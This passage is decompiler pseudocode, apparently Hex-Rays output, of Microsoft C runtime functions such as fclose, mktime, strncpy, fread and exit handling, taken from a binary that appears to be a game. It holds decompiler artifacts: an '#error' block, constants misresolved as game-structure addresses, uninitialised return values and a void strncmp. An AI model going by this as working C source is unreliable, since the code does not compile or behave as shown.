--str._cnt; if ( str._cnt < 0 ) _flsbuf(0, &str); else *str._ptr = 0; } return v2; } //----- (00576E2C) -------------------------------------------------------- int __cdecl _fclose_lk(_iobuf *str) { signed int v1; // edi@1 v1 = -1; if ( str->_flag & 0x83 ) { v1 = _flush(str); _freebuf(str); if ( _close(str->_file) >= 0 ) { if ( str->_tmpfname ) { free(str->_tmpfname); str->_tmpfname = 0; } } else { v1 = -1; } } str->_flag = 0; return v1; } //----- (00576E78) -------------------------------------------------------- int __cdecl fclose(_iobuf *stream) { int result; // eax@2 if ( stream->_flag & 0x40 ) { stream->_flag = 0; result = -1; } else { _lock_file(stream); _fclose_lk(stream); _unlock_file(stream); } return result; } //----- (00576EC9) -------------------------------------------------------- _iobuf *__cdecl _fsopen(const char *file, const char *mode, int shflag) { _iobuf *v3; // eax@1 _iobuf *result; // eax@2 void *stream; // [sp+10h] [bp-1Ch]@1 v3 = _getstream(); stream = v3; if ( v3 ) { _openfile(file, mode, shflag, v3); _unlock_file(stream); } else { *_errno() = 24; result = 0; } return result; } //----- (00576F25) -------------------------------------------------------- _iobuf *__cdecl fopen(const char *file, const char *mode) { return _fsopen(file, mode, 64); } //----- (00576F40) -------------------------------------------------------- #error "57709C: invalid basic block (funcsize=131)" //----- (0057727D) -------------------------------------------------------- long double __cdecl difftime(int b, int a) { return (double)(b - a); } //----- (0057728E) -------------------------------------------------------- int __usercall make_time_t(tm *tb, int ultflag) { tm *v2; // edi@1 int v3; // ecx@1 int v4; // eax@3 signed int v5; // eax@9 int v6; // edx@9 int v7; // eax@12 int v8; // ecx@12 signed int v9; // esi@12 int result; // eax@15 signed int v11; // ecx@19 int v12; // eax@20 int v13; // eax@23 signed int v14; // esi@23 signed int v15; // ecx@29 int v16; // eax@30 int v17; // eax@33 signed int v18; // esi@33 signed int v19; // ecx@39 int v20; // eax@40 int v21; // eax@43 int v22; // edx@43 tm *v23; // eax@50 int v24; // ecx@51 const void *v25; // esi@57 int tmptm1; // [sp+8h] [bp-4h]@43 v2 = tb; v3 = tb->tm_year; if ( v3 < 69 || v3 > 139 ) return -1; v4 = tb->tm_mon; if ( v4 < 0 || v4 > 11 ) { v3 += v4 / 12; v2->tm_mon = v4 % 12; if ( v4 % 12 < 0 ) { v2->tm_mon = v4 % 12 + 12; --v3; } if ( v3 < 69 || v3 > 139 ) return -1; } v5 = v2->tm_mon; v6 = _days[v5]; if ( !(v3 & 3) && v5 > 1 ) ++v6; v7 = 365 * v3 + v6 + ((v3 - 1) >> 2) - 25567; v8 = v2->tm_mday; v9 = v7 + v8; if ( v7 < 0 ) { if ( v8 < 0 && v9 >= 0 ) return -1; } else { if ( v8 >= 0 && v9 < 0 ) return -1; } v11 = 24 * v9; if ( v9 ) v12 = v11 / v9 != 24; else v12 = 0; if ( v12 ) return -1; v13 = v2->tm_hour; v14 = v13 + v11; if ( v11 < 0 ) { if ( v13 < 0 && v14 >= 0 ) return -1; } else { if ( v13 >= 0 && v14 < 0 ) return -1; } v15 = 60 * v14; if ( v14 ) v16 = v15 / v14 != 60; else v16 = 0; if ( v16 ) return -1; v17 = v2->tm_min; v18 = v17 + v15; if ( v15 < 0 ) { if ( v17 < 0 && v18 >= 0 ) return -1; } else { if ( v17 >= 0 && v18 < 0 ) return -1; } v19 = 60 * v18; if ( v18 ) v20 = v19 / v18 != 60; else v20 = 0; if ( v20 ) return -1; v21 = v2->tm_sec; v22 = v2->tm_sec + v19; tmptm1 = v2->tm_sec + v19; if ( v19 < 0 ) { if ( v21 < 0 && v22 >= 0 ) return -1; } else { if ( v21 >= 0 && v22 < 0 ) return -1; } if ( ultflag ) { __tzset(); tmptm1 += _timezone; v23 = localtime(&tmptm1); if ( !v23 ) return -1; v24 = v2->tm_isdst; if ( v24 <= 0 && (v24 >= 0 || v23->tm_isdst <= 0) ) goto LABEL_57; tmptm1 += _dstbias; v23 = localtime(&tmptm1); } else { v23 = gmtime(&tmptm1); } if ( !v23 ) return -1; LABEL_57: v25 = v23; result = tmptm1; memcpy((void *)v2, v25, 0x24u); return result; } //----- (0057744E) -------------------------------------------------------- int __cdecl mktime(tm *tb) { return make_time_t(tb, 1); } //----- (0057745C) -------------------------------------------------------- void (__cdecl *__cdecl _cfltcvt_init())(long double *, char *, int, int, int) { void (__cdecl *result)(long double *, char *, int, int, int); // eax@1 result = _cfltcvt; _cfltcvt_tab = (int (__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD))_cfltcvt; off_6115E4[0] = (int (*)())_cropzeros; off_6115E8 = (int (__cdecl *)(_DWORD, _DWORD, _DWORD))_fassign; off_6115EC[0] = (int (*)())_forcdecpt; off_6115F0[0] = (int (*)())_positive; off_6115F4 = (int (*)())_cfltcvt; return result; } // 6115E0: using guessed type int (__cdecl *_cfltcvt_tab)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // 6115E4: using guessed type int (*off_6115E4[5])(); // 6115E8: using guessed type int (__cdecl *off_6115E8)(_DWORD, _DWORD, _DWORD); // 6115EC: using guessed type int (*off_6115EC[3])(); // 6115F0: using guessed type int (*off_6115F0[2])(); // 6115F4: using guessed type int (*off_6115F4)(); //----- (00577494) -------------------------------------------------------- void __cdecl _fpmath(int initPrecision) { _cfltcvt_init(); _adjust_fdiv = _ms_p5_mp_test_fdiv(); if ( initPrecision ) _setdefaultprecision(); __asm { fnclex } } // 146D00A0: using guessed type int _adjust_fdiv; //----- (00577529) -------------------------------------------------------- void __stdcall _CxxThrowException(void *pExceptionObject, _s__ThrowInfo *pThrowInfo) { EHExceptionRecord ThisException; // [sp+8h] [bp-20h]@1 memcpy(&ThisException, &ExceptionTemplate, sizeof(ThisException)); ThisException.params.pExceptionObject = pExceptionObject; ThisException.params.pThrowInfo = (_s_ThrowInfo *)pThrowInfo; RaiseException( ThisException.ExceptionCode, ThisException.ExceptionFlags, ThisException.NumberParameters, &ThisException.params.magicNumber); } //----- (00577563) -------------------------------------------------------- void __thiscall exception::exception(exception *this) { this->_m_what = 0; this->_m_doFree = 0; this->vfptr = (exceptionVtbl *)&exception::_vftable_; } // 5E88C8: using guessed type int (__thiscall *exception___vftable_)(void *p, char); //----- (00577574) -------------------------------------------------------- void __thiscall exception::exception(exception *this, const char *const *what) { exception *v2; // esi@1 size_t v3; // eax@1 void *v4; // eax@1 v2 = this; this->vfptr = (exceptionVtbl *)&exception::_vftable_; v3 = strlen(*what); v4 = malloc(v3 + 1); v2->_m_what = (const char *)v4; if ( v4 ) strcpy((char *)v4, *what); v2->_m_doFree = 1; } // 5E88C8: using guessed type int (__thiscall *exception___vftable_)(void *p, char); //----- (005775B1) -------------------------------------------------------- void __thiscall exception::exception(exception *this, exception *that) { exception *v2; // esi@1 int v3; // eax@1 size_t v4; // eax@2 void *v5; // eax@2 v2 = this; this->vfptr = (exceptionVtbl *)&exception::_vftable_; v3 = that->_m_doFree; this->_m_doFree = v3; if ( v3 ) { v4 = strlen(that->_m_what); v5 = malloc(v4 + 1); v2->_m_what = (const char *)v5; if ( v5 ) strcpy((char *)v5, that->_m_what); } else { this->_m_what = that->_m_what; } } // 5E88C8: using guessed type int (__thiscall *exception___vftable_)(void *p, char); //----- (005775FB) -------------------------------------------------------- void __thiscall exception::_exception(exception *this) { bool v1; // zf@1 v1 = this->_m_doFree == 0; this->vfptr = (exceptionVtbl *)&exception::_vftable_; if ( !v1 ) free((void *)this->_m_what); } // 5E88C8: using guessed type int (__thiscall *exception___vftable_)(void *p, char); //----- (00577611) -------------------------------------------------------- const char *__thiscall exception::what(exception *this) { const char *result; // eax@1 result = this->_m_what; if ( !result ) result = "Unknown exception"; return result; } //----- (0057761E) -------------------------------------------------------- void __thiscall bad_cast::bad_cast(bad_cast *this, const char *_Message) { bad_cast *v2; // esi@1 v2 = this; exception::exception(&this->baseclass_0, &_Message); v2->baseclass_0.vfptr = (exceptionVtbl *)&bad_cast::_vftable_; } // 5E88E8: using guessed type int (__thiscall *bad_cast___vftable_)(void *p, char); //----- (00577637) -------------------------------------------------------- void __thiscall bad_cast::bad_cast(bad_cast *this, bad_cast *that) { bad_cast *v2; // esi@1 v2 = this; exception::exception(&this->baseclass_0, &that->baseclass_0); v2->baseclass_0.vfptr = (exceptionVtbl *)&bad_cast::_vftable_; } // 5E88E8: using guessed type int (__thiscall *bad_cast___vftable_)(void *p, char); //----- (0057764F) -------------------------------------------------------- void __thiscall bad_cast::_bad_cast(bad_cast *this) { this->baseclass_0.vfptr = (exceptionVtbl *)&bad_cast::_vftable_; exception::_exception(&this->baseclass_0); } // 5E88E8: using guessed type int (__thiscall *bad_cast___vftable_)(void *p, char); //----- (0057765A) -------------------------------------------------------- void *__thiscall exception::_vector_deleting_destructor_(exception *this, unsigned int a2) { void *v2; // esi@1 v2 = this; exception::_exception(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00577676) -------------------------------------------------------- void *__thiscall bad_cast::_vector_deleting_destructor_(bad_cast *this, unsigned int a2) { void *v2; // esi@1 v2 = this; bad_cast::_bad_cast(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00577692) -------------------------------------------------------- void __thiscall type_info::_type_info(type_info *this) { type_info *v1; // esi@1 void *v2; // esi@1 v1 = this; this->vfptr = (type_infoVtbl *)&type_info::_vftable_; _lock(14); v2 = v1->_m_data; if ( v2 ) free(v2); _unlock(14); } // 5E88F4: using guessed type int (__stdcall *type_info___vftable_)(char); //----- (005776D8) -------------------------------------------------------- void *__thiscall type_info::_scalar_deleting_destructor_(type_info *this, unsigned int a2) { type_info::_type_info(this); } //----- (00577700) -------------------------------------------------------- char *__cdecl strncpy(char *Dest, const char *Source, size_t Count) { unsigned int v3; // ecx@1 size_t v4; // ebx@2 const char *v5; // esi@2 char *v6; // edi@2 size_t v7; // ecx@3 char v8; // al@5 int v10; // ecx@16 int v11; // eax@21 int v12; // edx@21 v3 = Count; if ( !Count ) return Dest; v4 = Count; v5 = Source; v6 = Dest; if ( !((unsigned __int8)Source & 3) ) { v7 = Count >> 2; if ( Count >> 2 ) goto main_loop_entrance; copy_tail_loop: while ( 1 ) { v8 = *v5++; *v6++ = v8; if ( !v8 ) break; --v4; if ( !v4 ) return Dest; } while ( 1 ) { --v4; if ( !v4 ) break; finish_loop: *v6++ = v8; } return Dest; } do { v8 = *v5++; *v6++ = v8; --v3; if ( !v3 ) return Dest; if ( !v8 ) { while ( (unsigned __int8)v6 & 3 ) { *v6++ = 0; --v3; if ( !v3 ) return Dest; } v4 = v3; v10 = v3 >> 2; if ( !v10 ) goto finish_loop; goto fill_dwords_with_EOS; } } while ( (unsigned __int8)v5 & 3 ); LOBYTE(v4) = v3; v7 = v3 >> 2; if ( !v7 ) { tail_loop_start: v4 &= 3u; if ( v4 ) goto copy_tail_loop; return Dest; } while ( 1 ) { main_loop_entrance: v11 = (*(_DWORD *)v5 + 2130640639) ^ ~*(_DWORD *)v5; v12 = *(_DWORD *)v5; v5 += 4; if ( !(v11 & 0x81010100) ) goto main_loop; if ( !(_BYTE)v12 ) break; if ( !BYTE1(v12) ) { *(_DWORD *)v6 = (unsigned __int8)v12; goto fill_with_EOS_dwords; } if ( !((unsigned int)&wholesaver.ws_savestore[103].esc_skill.buffer[14116] & v12) ) { *(_DWORD *)v6 = (unsigned __int16)v12; goto fill_with_EOS_dwords; } if ( !(v12 & 0xFF000000) ) { *(_DWORD *)v6 = v12; goto fill_with_EOS_dwords; } main_loop: *(_DWORD *)v6 = v12; v6 += 4; --v7; if ( !v7 ) goto tail_loop_start; } *(_DWORD *)v6 = 0; fill_with_EOS_dwords: v6 += 4; v8 = 0; v10 = v7 - 1; if ( v10 ) { fill_dwords_with_EOS: v8 = 0; do { *(_DWORD *)v6 = 0; v6 += 4; --v10; } while ( v10 ); } v4 &= 3u; if ( v4 ) goto finish_loop; return Dest; } //----- (00577824) -------------------------------------------------------- void *__cdecl bsearch(const void *key, const void *base, unsigned int num, unsigned int width, int (__cdecl *compare)(const void *, const void *)) { unsigned int v5; // eax@1 unsigned int v6; // edi@1 unsigned int v7; // ebx@2 bool v8; // zf@3 int v9; // eax@3 const void *v10; // esi@5 int v11; // eax@5 int numa; // [sp+1Ch] [bp+10h]@3 v5 = num; v6 = (unsigned int)((char *)base + width * (num - 1)); if ( (unsigned int)base > v6 ) return 0; while ( 1 ) { v7 = v5 >> 1; if ( !(v5 >> 1) ) break; v8 = (v5 & 1) == 0; numa = v5 & 1; v9 = v5 >> 1; if ( v8 ) v9 = v7 - 1; v10 = (char *)base + width * v9; v11 = compare(key, v10); if ( !v11 ) return (void *)v10; if ( v11 >= 0 ) { base = (char *)v10 + width; LABEL_10: v5 = v7; goto LABEL_11; } v6 = (unsigned int)((char *)v10 - width); if ( numa ) goto LABEL_10; v5 = v7 - 1; LABEL_11: if ( (unsigned int)base > v6 ) return 0; } if ( !v5 ) return 0; return (void *)(compare(key, base) == 0 ? (int)base : 0); } //----- (005778B0) -------------------------------------------------------- tm *__cdecl localtime(const int *ptime) { const int *v1; // esi@1 signed int v3; // eax@3 tm *v4; // eax@5 tm *v5; // esi@5 tm *v6; // eax@8 signed int v7; // eax@10 int v8; // edx@14 int v9; // edx@16 int v10; // ecx@18 bool v11; // sf@18 int v12; // eax@24 v1 = ptime; if ( *ptime < 0 ) return 0; __tzset(); v3 = *v1; if ( *v1 > 259200 && v3 < 2147224447 ) { ptime = (const int *)(v3 - _timezone); v4 = gmtime((const int *)&ptime); v5 = v4; if ( _daylight ) { if ( _isindst(v4) ) { ptime = (const int *)((char *)ptime - _dstbias); v5 = gmtime((const int *)&ptime); v5->tm_isdst = 1; } } return v5; } v6 = gmtime(v1); v5 = v6; if ( _daylight && _isindst(v6) ) { ptime = (const int *)(v5->tm_sec - _dstbias - _timezone); v5->tm_isdst = 1; v7 = (signed int)ptime; } else { v7 = v5->tm_sec - _timezone; ptime = (const int *)(v5->tm_sec - _timezone); } v5->tm_sec = v7 % 60; if ( v7 % 60 < 0 ) { v5->tm_sec = v7 % 60 + 60; ptime -= 15; } ptime = (const int *)(v5->tm_min + (signed int)ptime / 60); v8 = (signed int)ptime % 60; v11 = (signed int)ptime % 60 < 0; v5->tm_min = (signed int)ptime % 60; if ( v11 ) { v5->tm_min = v8 + 60; ptime -= 15; } ptime = (const int *)(v5->tm_hour + (signed int)ptime / 60); v9 = (signed int)ptime % 24; v11 = (signed int)ptime % 24 < 0; v5->tm_hour = (signed int)ptime % 24; if ( v11 ) { v5->tm_hour = v9 + 24; ptime -= 6; } v10 = (signed int)ptime / 24; v11 = (signed int)ptime / 24 < 0; ptime = (const int *)((signed int)ptime / 24); if ( (signed int)ptime <= 0 ) { if ( !v11 ) return v5; v5->tm_wday = (v5->tm_wday + v10 + 7) % 7; v5->tm_mday += (int)ptime; v12 = v5->tm_mday; if ( v12 <= 0 ) { --v5->tm_year; v5->tm_mday = v12 + 31; v5->tm_yday = 364; v5->tm_mon = 11; return v5; } } else { v5->tm_wday = (v10 + v5->tm_wday) % 7; v5->tm_mday += (int)ptime; } v5->tm_yday += (int)ptime; return v5; } //----- (00577A30) -------------------------------------------------------- int __cdecl fprintf(_iobuf *str, const char *format) { int v2; // ST2C_4@1 int result; // eax@1 char argptr; // [sp+40h] [bp+10h]@0 _lock_file(str); v2 = _stbuf(str); _output(str, format, &argptr); _ftbuf(v2, str); _unlock_file(str); return result; } //----- (00577A8E) -------------------------------------------------------- int __cdecl fputs(const char *string, _iobuf *stream) { unsigned int v2; // ST30_4@1 int v3; // ST2C_4@1 int result; // eax@1 v2 = strlen(string); _lock_file(stream); v3 = _stbuf(stream); _fwrite_lk(string, 1u, v2, stream); _ftbuf(v3, stream); _unlock_file(stream); return result; } //----- (00577AFF) -------------------------------------------------------- int __cdecl _flush(_iobuf *str) { int v1; // ebx@1 char *v2; // eax@3 int v3; // eax@5 char *v4; // eax@8 v1 = 0; if ( (str->_flag & 3) == 2 ) { if ( str->_flag & 0x108 ) { v2 = str->_base; if ( (signed int)(str->_ptr - v2) > 0 ) { if ( (char *)_write(str->_file, v2, str->_ptr - v2) == (char *)(str->_ptr - v2) ) { v3 = str->_flag; if ( (char)v3 < 0 ) str->_flag = v3 & 0xFFFFFFFD; } else { str->_flag |= 0x20u; v1 = -1; } } } } v4 = str->_base; str->_cnt = 0; str->_ptr = v4; return v1; } //----- (00577B5C) -------------------------------------------------------- int __cdecl _fflush_lk(_iobuf *str) { int result; // eax@2 if ( _flush(str) ) { result = -1; } else { if ( BYTE1(str->_flag) & 0x40 ) result = -(_commit(str->_file) != 0); else result = 0; } return result; } //----- (00577B8A) -------------------------------------------------------- int __cdecl flsall(int flushflag) { int i; // esi@1 int v2; // eax@3 int v3; // ecx@5 int result; // eax@12 _lock(1); for ( i = 0; ; ++i ) { if ( i >= (signed int)_nstream ) { _unlock(1); return result; } v2 = *(_DWORD *)(__piob + 4 * i); if ( v2 ) { if ( *(_BYTE *)(v2 + 12) & 0x83 ) break; } } _lock_file2(i, *(void **)(__piob + 4 * i)); v3 = *(_DWORD *)(*(_DWORD *)(__piob + 4 * i) + 12); if ( v3 & 0x83 ) { if ( flushflag == 1 ) { _fflush_lk(*(_iobuf **)(__piob + 4 * i)) == -1; } else { if ( !flushflag ) { if ( v3 & 2 ) _fflush_lk(*(_iobuf **)(__piob + 4 * i)); } } } _unlock_file2(i, *(void **)(__piob + 4 * i)); return result; } // 146D092C: using guessed type int __piob; //----- (00577C5F) -------------------------------------------------------- int __cdecl fflush(_iobuf *stream) { int result; // eax@2 if ( stream ) { _lock_file(stream); _fflush_lk(stream); _unlock_file(stream); } else { result = flsall(0); } return result; } //----- (00577CAF) -------------------------------------------------------- int __cdecl _flushall() { return flsall(1); } //----- (00577CB8) -------------------------------------------------------- int __cdecl fputc(int ch, _iobuf *str) { bool v2; // sf@1 int result; // eax@4 _lock_file(str); v2 = str->_cnt-- - 1 < 0; if ( v2 ) _flsbuf(ch, str); else *str->_ptr++ = ch; _unlock_file(str); return result; } //----- (00577D10) -------------------------------------------------------- int __cdecl atol(const char *nptr) { threadlocaleinfostruct *v1; // edi@1 const char *i; // esi@3 int v3; // eax@4 int v4; // eax@5 signed int v5; // ecx@9 int v6; // esi@9 signed int v7; // edx@9 int result; // eax@12 signed int v9; // ecx@15 v1 = _getptd()->ptlocinfo; if ( v1 != ___ptlocinfo ) v1 = __updatetlocinfo(); for ( i = nptr; ; ++i ) { v3 = (unsigned __int8)*i; v4 = v1->mb_cur_max <= 1 ? v1->pctype[v3] & 8 : __isctype_mt(v1, v3, 8); if ( !v4 ) break; } v5 = (unsigned __int8)*i; v6 = (int)(i + 1); v7 = v5; if ( v5 == 45 || v5 == 43 ) v5 = *(_BYTE *)v6++; result = 0; while ( 1 ) { v9 = v5 < 48 || v5 > 57 ? -1 : v5 - 48; if ( v9 == -1 ) break; result = v9 + 10 * result; v5 = *(_BYTE *)v6++; } if ( v7 == 45 ) result = -result; return result; } //----- (00577D9D) -------------------------------------------------------- int __cdecl sscanf(const char *string, const char *format) { _iobuf str; // [sp+0h] [bp-20h]@1 char arglist; // [sp+30h] [bp+10h]@0 str._flag = 73; str._base = (char *)string; str._ptr = (char *)string; str._cnt = strlen(string); return _input(&str, format, &arglist); } //----- (00577DD1) -------------------------------------------------------- void __cdecl _purecall() { if ( __pPurecall ) __pPurecall(); _amsg_exit(25); } // 146D00A4: using guessed type int (*__pPurecall)(void); //----- (00577E94) -------------------------------------------------------- unsigned int __cdecl _fwrite_lk(const void *buffer, unsigned int size, unsigned int num, _iobuf *stream) { unsigned int v4; // edi@1 unsigned int v5; // ebx@1 int v7; // eax@7 int v8; // edi@8 unsigned int v9; // edi@14 int v10; // eax@16 unsigned int v11; // eax@25 int bufsize; // [sp+Ch] [bp-4h]@4 v4 = num * size; v5 = num * size; if ( !(num * size) ) return 0; if ( stream->_flag & 0x10C ) bufsize = stream->_bufsiz; else bufsize = 4096; while ( 1 ) { if ( stream->_flag & 0x108 ) { v7 = stream->_cnt; if ( v7 ) { v8 = v5; if ( v5 >= v7 ) v8 = stream->_cnt; memcpy(stream->_ptr, (char *)buffer, v8); stream->_cnt -= v8; stream->_ptr += v8; v5 -= v8; buffer = (char *)buffer + v8; LABEL_18: v4 = num * size; goto LABEL_22; } } if ( v5 >= bufsize ) break; if ( _flsbuf(*(_BYTE *)buffer, stream) == -1 ) goto LABEL_25; buffer = (char *)buffer + 1; --v5; bufsize = stream->_bufsiz; if ( stream->_bufsiz <= 0 ) bufsize = 1; LABEL_22: if ( !v5 ) return num; } if ( stream->_flag & 0x108 && _flush(stream) ) { LABEL_25: v11 = v4; return (v11 - v5) / size; } v9 = v5; if ( bufsize ) v9 = v5 - v5 % bufsize; v10 = _write(stream->_file, buffer, v9); if ( v10 != -1 ) { buffer = (char *)buffer + v10; v5 -= v10; if ( v10 >= v9 ) goto LABEL_18; } stream->_flag |= 0x20u; v11 = num * size; return (v11 - v5) / size; } //----- (00577F9B) -------------------------------------------------------- unsigned int __cdecl fwrite(const void *buffer, unsigned int size, unsigned int count, _iobuf *stream) { unsigned int result; // eax@1 _lock_file(stream); _fwrite_lk(buffer, size, count, stream); _unlock_file(stream); return result; } //----- (00577FE7) -------------------------------------------------------- unsigned int __cdecl _fread_lk(void *buffer, unsigned int size, unsigned int num, _iobuf *stream) { void *v4; // ebx@1 unsigned int v5; // edi@1 unsigned int v6; // ecx@1 int v8; // eax@8 int v9; // edi@9 unsigned int v10; // eax@13 int v11; // eax@15 int v12; // eax@18 int bufsize; // [sp+Ch] [bp-4h]@4 unsigned int count; // [sp+18h] [bp+8h]@1 v4 = buffer; v5 = num * size; v6 = num * size; count = num * size; if ( !(num * size) ) return 0; if ( stream->_flag & 0x10C ) bufsize = stream->_bufsiz; else bufsize = 4096; while ( 1 ) { if ( stream->_flag & 0x10C ) { v8 = stream->_cnt; if ( v8 ) { v9 = v6; if ( v6 >= v8 ) v9 = stream->_cnt; memcpy((char *)v4, stream->_ptr, v9); count -= v9; stream->_cnt -= v9; stream->_ptr += v9; v4 = (char *)v4 + v9; v5 = num * size; goto LABEL_20; } } if ( v6 >= bufsize ) break; v12 = _filbuf(stream); if ( v12 == -1 ) return (v5 - count) / size; *(_BYTE *)v4 = v12; v4 = (char *)v4 + 1; --count; bufsize = stream->_bufsiz; LABEL_20: if ( !count ) return num; v6 = count; } v10 = v6; if ( bufsize ) v10 = v6 - v6 % bufsize; v11 = _read(stream->_file, v4, v10); if ( !v11 ) { stream->_flag |= 0x10u; return (v5 - count) / size; } if ( v11 != -1 ) { count -= v11; v4 = (char *)v4 + v11; goto LABEL_20; } stream->_flag |= 0x20u; return (v5 - count) / size; } //----- (005780D0) -------------------------------------------------------- unsigned int __cdecl fread(void *buffer, unsigned int size, unsigned int count, _iobuf *stream) { unsigned int result; // eax@1 _lock_file(stream); _fread_lk(buffer, size, count, stream); _unlock_file(stream); return result; } //----- (0057811C) -------------------------------------------------------- void __cdecl __crtExitProcess(int status) { HINSTANCE__ *v1; // eax@1 FARPROC v2; // eax@2 v1 = GetModuleHandleA("mscoree.dll"); if ( v1 ) { v2 = GetProcAddress(v1, "CorExitProcess"); if ( v2 ) ((void (__stdcall *)(_DWORD))v2)(status); } ExitProcess(status); } //----- (0057814C) -------------------------------------------------------- void __cdecl _lockexit() { _lock(8); } //----- (00578155) -------------------------------------------------------- void __cdecl _unlockexit() { _unlock(8); } //----- (0057815E) -------------------------------------------------------- void __usercall initterm(void (__cdecl **pfbegin)(), void (__cdecl **pfend)()) { void (__cdecl **i)(); // esi@1 for ( i = pfbegin; i < pfend; ++i ) { if ( *i ) (*i)(); } } //----- (00578176) -------------------------------------------------------- int __cdecl _cinit(int initFloatingPrecision) { int result; // eax@3 unsigned int v2; // esi@3 if ( _FPinit ) _FPinit(initFloatingPrecision); result = 0; v2 = (unsigned int)&__xi_a; if ( &__xi_a >= &__xi_z ) goto LABEL_12; do { if ( result ) return result; if ( *(_DWORD *)v2 ) result = (*(int (**)(void))v2)(); v2 += 4; } while ( v2 < (unsigned int)&__xi_z ); if ( !result ) LABEL_12: atexit(_RTC_Terminate); return result; } // 610D28: using guessed type int (__cdecl *_FPinit)(_DWORD); //----- (005781E0) -------------------------------------------------------- void __cdecl doexit(int code, int quick, int retcaller) { HANDLE v3; // eax@2 int v4; // eax@5 void (*v5)(void); // eax@6 _lock(8); if ( _C_Exit_Done == 1 ) { v3 = GetCurrentProcess(); TerminateProcess(v3, code); } _C_Termination_Done = 1; _exitflag = retcaller; if ( !quick ) { if ( __onexitbegin ) { while ( 1 ) { v4 = __onexitend - 4; __onexitend = v4; if ( v4 < (unsigned int)__onexitbegin ) break; v5 = *(void (**)(void))v4; if ( v5 ) v5(); } } initterm(&__xp_a, &__xp_z); } initterm(&__xt_a, &__xt_z); if ( retcaller ) _unlock(8); } // 146D00E4: using guessed type char _exitflag; // 146D00E8: using guessed type int _C_Termination_Done; // 146D00EC: using guessed type int _C_Exit_Done; // 146D195C: using guessed type int __onexitend; //----- (005782A3) -------------------------------------------------------- void __cdecl exit(int code) { doexit(code, 0, 0); } //----- (005782B4) -------------------------------------------------------- void __cdecl _exit(int code) { doexit(code, 1, 0); } //----- (005782C5) -------------------------------------------------------- void __cdecl _cexit() { doexit(0, 0, 1); } //----- (005782D4) -------------------------------------------------------- void __cdecl _c_exit() { doexit(0, 1, 1); } //----- (005782E3) -------------------------------------------------------- int __cdecl time(int *timeptr) { unsigned __int64 v1; // ST00_8@1 unsigned __int64 v2; // qax@1 FT nt_time; // [sp+0h] [bp-8h]@1 GetSystemTimeAsFileTime((LPFILETIME)&nt_time); HIDWORD(v1) = ((nt_time.ft_scalar + 717324288) >> 32) - 27111903; LODWORD(v1) = nt_time.ft_scalar + 717324288; v2 = v1 / (unsigned int)&wholesaver.ws_savestore[18].esc_skill.buffer[28996]; if ( timeptr ) *timeptr = v2; return v2; } //----- (0057835D) -------------------------------------------------------- void __cdecl srand(unsigned int seed) { _getptd()->_holdrand = seed; } //----- (0057836A) -------------------------------------------------------- int __cdecl rand() { _tiddata *v0; // eax@1 unsigned int v1; // ecx@1 v0 = _getptd(); v1 = 214013 * v0->_holdrand + 2531011; v0->_holdrand = v1; return (v1 >> 16) & 0x7FFF; } //----- (00578390) -------------------------------------------------------- void __cdecl strncmp(char *first, char *last, unsigned int count) { unsigned int v3; // ecx@1 char *v4; // edi@2 bool v5; // zf@4 unsigned int v6; // ecx@5 char *v7; // edi@5 char *v8; // esi@5 v3 = count; if ( count ) { v4 = first; do { if ( !v3 ) break; v5 = *v4++ == 0; --v3; } while ( !v5 ); v6 = count - v3; v7 = first; v8 = last; do { if ( !v6 ) break; v5 = *v8++ == *v7++; --v6; } while ( v5 ); } } //----- (005783C9) -------------------------------------------------------- int __cdecl _findclose(int hFile) { int result; // eax@2 if ( FindClose((HANDLE)hFile) ) { result = 0; } else { *_errno() = 22; result = -1; } return result; } //----- (005783E9) -------------------------------------------------------- int __cdecl __timet_from_ft(_FILETIME *pft) { int result; // eax@5 _SYSTEMTIME st; // [sp+0h] [bp-18h]@4 _FILETIME lft; // [sp+10h] [bp-8h]@3 if ( (pft->dwLowDateTime || pft->dwHighDateTime) && FileTimeToLocalFileTime(pft, &lft) && FileTimeToSystemTime(&lft, &st) ) result = __loctotime_t(st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, -1); else result = -1; return result; } //----- (0057844D) -------------------------------------------------------- int __cdecl _findfirst(const char *szWild, _finddata_t *pfd) { int v2; // edi@1 DWORD v3; // eax@2 _WIN32_FIND_DATAA wfd; // [sp+8h] [bp-144h]@1 v2 = (int)FindFirstFileA(szWild, &wfd); if ( v2 == -1 ) { v3 = GetLastError(); if ( v3 < 2 ) goto LABEL_13; if ( v3 > 3 ) { if ( v3 == 8 ) { *_errno() = 12; return -1; } if ( v3 != 18 ) { LABEL_13: *_errno() = 22; return -1; } } *_errno() = 2; return -1; } pfd->attrib = wfd.dwFileAttributes != 128 ? wfd.dwFileAttributes : 0; pfd->time_create = __timet_from_ft(&wfd.ftCreationTime); pfd->time_access = __timet_from_ft(&wfd.ftLastAccessTime); pfd->time_write = __timet_from_ft(&wfd.ftLastWriteTime); pfd->size = wfd.nFileSizeLow; strcpy(pfd->name, wfd.cFileName); return v2; } //----- (0057852A) -------------------------------------------------------- int __cdecl _findnext(int hFile, _finddata_t *pfd) { DWORD v2; // eax@2 _WIN32_FIND_DATAA wfd; // [sp+4h] [bp-144h]@1 if ( !FindNextFileA((HANDLE)hFile, &wfd) ) { v2 = GetLastError(); if ( v2 < 2 ) goto LABEL_13; if ( v2 > 3 ) { if ( v2 == 8 ) { *_errno() = 12; return -1; } if ( v2 != 18 ) { LABEL_13: *_errno() = 22; return -1; } } *_errno() = 2; return -1; } pfd->attrib = wfd.dwFileAttributes != 128 ? wfd.dwFileAttributes : 0; pfd->time_create = __timet_from_ft(&wfd.ftCreationTime); pfd->time_access = __timet_from_ft(&wfd.ftLastAccessTime); pfd->time_write = __timet_from_ft(&wfd.ftLastWriteTime); pfd->size = wfd.nFileSizeLow; strcpy(pfd->name, wfd.cFileName); return 0; } //----- (0057870D) -------------------------------------------------------- void __cdecl free(void *pBlock) { tagHeader *v1; // eax@3 if ( pBlock ) { if ( __active_heap == 3 ) { _lock(4); v1 = __sbh_find_block(pBlock); if ( v1 ) __sbh_free_block(v1, pBlock); _unlock(4); } else { HeapFree(_crtheap, 0, pBlock); } } } // 146D0928: using guessed type int __active_heap; //----- (0057877E) -------------------------------------------------------- int __cdecl fgetc(_iobuf *stream) { bool v1; // sf@1 int result; // eax@4 _lock_file(stream); v1 = stream->_cnt-- - 1 < 0; if ( v1 ) _filbuf(stream); else ++stream->_ptr; _unlock_file(stream); return result; } //----- (005787CE) 